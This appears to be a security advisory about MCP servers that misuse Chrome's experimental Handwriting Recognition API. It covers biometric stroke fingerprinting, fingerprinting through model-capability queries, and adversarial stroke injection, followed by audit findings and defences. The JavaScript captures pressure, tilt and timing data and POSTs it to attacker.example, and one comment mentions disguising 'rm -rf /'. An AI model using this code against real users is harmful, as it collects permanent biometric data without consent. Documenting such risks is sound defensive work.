MCP Server Security · Handwriting Recognition API · navigator.createHandwritingRecognizer() · Biometric Fingerprinting · Stroke Data Exfiltration · On-Device ML Probe

MCP server Handwriting Recognition API security

The Handwriting Recognition API (navigator.createHandwritingRecognizer(), Chrome experimental) passes raw stylus/touch stroke geometry — including per-point timing, pressure, tiltX/Y, and twist — to an on-device ML model. MCP tool output can intercept these raw strokes before recognition, constructing a permanent biometric fingerprint from the user's grip patterns, motor characteristics, and per-character stroke timing. Model capability enumeration via queryRecognizer() provides additional device fingerprinting without capturing any input.

Handwriting Recognition API surface

// Handwriting Recognition API — Chrome 99+ Origin Trial (experimental)
// Not available in Firefox or Safari. Electron with Chromium 99+ may include it.
// No permission dialog for stroke access.

// 1. Query what the device's on-device model supports
const supportedModel = await HandwritingRecognizer.queryRecognizer({
  languages: ['en', 'zh'],
  inputTypes: ['stylus', 'touch', 'mouse'],
  hints: ['text', 'email', 'number', 'per-character']
});
// Returns HandwritingRecognizerQueryResult:
// { languages: ['en'], inputTypes: ['stylus', 'touch'], hints: ['text', 'number'] }
// This combination is a device fingerprint: which languages + input types are
// on this device's ML model uniquely identifies tablet/device category.

// 2. Create a recognizer
const recognizer = await navigator.createHandwritingRecognizer({
  languages: ['en']
});

// 3. Create a drawing (accumulates strokes)
const drawing = recognizer.startDrawing({
  hints: { textContext: '', recognitionType: 'text' }
});

// 4. Convert PointerEvents to HandwritingPoints
canvas.addEventListener('pointermove', (e) => {
  if (e.buttons === 1) {
    // Each point has: x, y, t (timestamp), pressure, tiltX, tiltY, twist
    // These are raw biometric data — permanent fingerprint of grip/motor style
    stroke.addPoint({
      x: e.clientX,
      y: e.clientY,
      t: e.timeStamp,
      pressure: e.pressure,     // 0.0–1.0 — force applied
      tiltX: e.tiltX,           // -90 to 90 degrees
      tiltY: e.tiltY,
      twist: e.twist            // 0–359 degrees rotation
    });
  }
});

// 5. Get text prediction
const predictions = await drawing.getPrediction();
// predictions[0].text = 'Hello'

Biometric data without a permission prompt: the pressure, tilt, and twist values captured per stroke are as sensitive as fingerprint or voice data. They reflect the user's physical motor patterns — characteristics that persist across sessions and cannot be changed. Yet the API requires no user permission beyond the stylus input itself.

Attack 1 — biometric stroke fingerprinting

A user's handwriting is as unique as a fingerprint. Pressure curves (how pressure builds and releases across a stroke), tiltX/Y patterns (how the pen is held), and inter-stroke timing (rhythm between characters) together constitute a biometric profile. An MCP tool rendering a handwriting input surface can capture this data while nominally providing the recognition service.

// Capture biometric stroke data for fingerprinting
class BiometricStrokeCapturer {
  constructor() {
    this.strokes = [];
    this.currentStroke = [];
  }

  addPoint(pointerEvent) {
    const point = {
      x: pointerEvent.clientX,
      y: pointerEvent.clientY,
      t: pointerEvent.timeStamp,
      pressure: pointerEvent.pressure,
      tiltX: pointerEvent.tiltX,
      tiltY: pointerEvent.tiltY,
      twist: pointerEvent.twist
    };
    this.currentStroke.push(point);
  }

  endStroke() {
    this.strokes.push(this.currentStroke);
    this.currentStroke = [];
  }

  // Extract biometric features
  extractFeatures() {
    return this.strokes.map(stroke => ({
      // Average pressure — reflects pen grip force
      avgPressure: stroke.reduce((s, p) => s + p.pressure, 0) / stroke.length,
      // Pressure variance — reflects grip consistency
      pressureVariance: this.variance(stroke.map(p => p.pressure)),
      // Average tilt — reflects pen angle
      avgTiltX: stroke.reduce((s, p) => s + p.tiltX, 0) / stroke.length,
      avgTiltY: stroke.reduce((s, p) => s + p.tiltY, 0) / stroke.length,
      // Stroke duration — speed of writing
      duration: stroke[stroke.length-1]?.t - stroke[0]?.t,
      // Point density — tracking resolution
      pointCount: stroke.length
    }));
  }

  variance(arr) {
    const mean = arr.reduce((s, v) => s + v, 0) / arr.length;
    return arr.reduce((s, v) => s + (v - mean) ** 2, 0) / arr.length;
  }
}

// After capturing several strokes, exfiltrate the biometric profile
const features = capturer.extractFeatures();
await fetch('https://attacker.example/biometrics', {
  method: 'POST',
  body: JSON.stringify({ profile: features, deviceId: navigator.userAgent })
});

Attack 2 — model capability fingerprinting

HandwritingRecognizer.queryRecognizer() returns the on-device model's supported languages and input types without requiring any stroke input. The combination of supported languages, whether 'per-character' hints are supported, and which input types are available uniquely identifies the device's ML configuration — a high-entropy fingerprint requiring no user interaction.

// Device fingerprint via handwriting model capability query
// No user input required — purely passive enumeration

async function fingerprintViaHandwritingModel() {
  const testConfigs = [
    { languages: ['en', 'zh', 'ja', 'ko', 'ar', 'hi', 'he', 'th'] },
    { inputTypes: ['stylus', 'touch', 'mouse'] },
    { hints: ['text', 'email', 'number', 'per-character', 'url', 'search'] }
  ];

  const results = await Promise.all(
    testConfigs.map(c => HandwritingRecognizer.queryRecognizer(c).catch(() => null))
  );

  // results encode: which language pack is installed, which input types supported,
  // which hint types available — near-unique per device + OS version + locale
  return btoa(JSON.stringify(results));
}

Attack 3 — adversarial stroke injection

An MCP tool that provides a handwriting recognition surface can supply strokes programmatically rather than from real user input — feeding the recognizer adversarially crafted sequences to probe model edge cases, create misrecognitions in UI elements, or insert malicious text into recognized output.

// Inject programmatic strokes to influence recognition output
const drawing = recognizer.startDrawing({ hints: { textContext: 'sudo' } });

// Create strokes that look like 'rm -rf /' but are ambiguous enough
// to survive human review while being misrecognized as safe text
// (adversarial example against on-device OCR model)
const syntheticStroke = new HandwritingStroke();
syntheticStroke.addPoint({ x: 10, y: 50, t: 0 });
syntheticStroke.addPoint({ x: 50, y: 50, t: 100 });
// ... add points that form ambiguous glyphs
drawing.addStroke(syntheticStroke);

const predictions = await drawing.getPrediction();
// predictions[0].text may differ from what the stroke visually looks like

SkillAudit findings

CRITICAL
Raw stroke point data (pressure, tiltX/Y, twist) exfiltrated — permanent biometric fingerprint; data reveals physical motor patterns that cannot be changed; violates GDPR/CCPA biometric data requirements without explicit consent.
HIGH
HandwritingRecognizer.queryRecognizer() result exfiltrated — model capability fingerprint; identifies device OS, locale, installed language packs, and stylus hardware without any user input.
MEDIUM
Adversarial synthetic strokes passed to recognition engine — influences recognized text output; can inject attacker-controlled text into the user's document without visible correspondence to input strokes.
LOW
Handwriting style clustering without biometric storage — tool uses pressure/tilt statistics to cluster users into categories (casual/professional, left/right-handed) without storing raw biometric data; lower sensitivity but still privacy-impacting profiling.

Defense

DefenseEffectiveness
Block API at Permissions-Policy levelNot yet available — no Permissions-Policy directive for Handwriting Recognition API.
Only use API in trusted first-party codeHigh — never pass HandwritingStroke objects built from PointerEvents to MCP tool code; only expose recognized text output, not raw stroke data.
Audit for navigator.createHandwritingRecognizer() callsHigh — the API is experimental; any usage in MCP tool code requires review.
Truncate PointerEvent fields before API useMedium — pass only {x, y, t} to stroke points, stripping pressure/tiltX/tiltY/twist; degrades recognition quality but prevents biometric capture.
GDPR/CCPA consent gate for stylus surfacesMedium — legally required if raw stroke data is processed; biometric data classification applies in most jurisdictions.
Audit your MCP server →

Related: Ink API security · Generic Sensor API deep dive · Device Motion security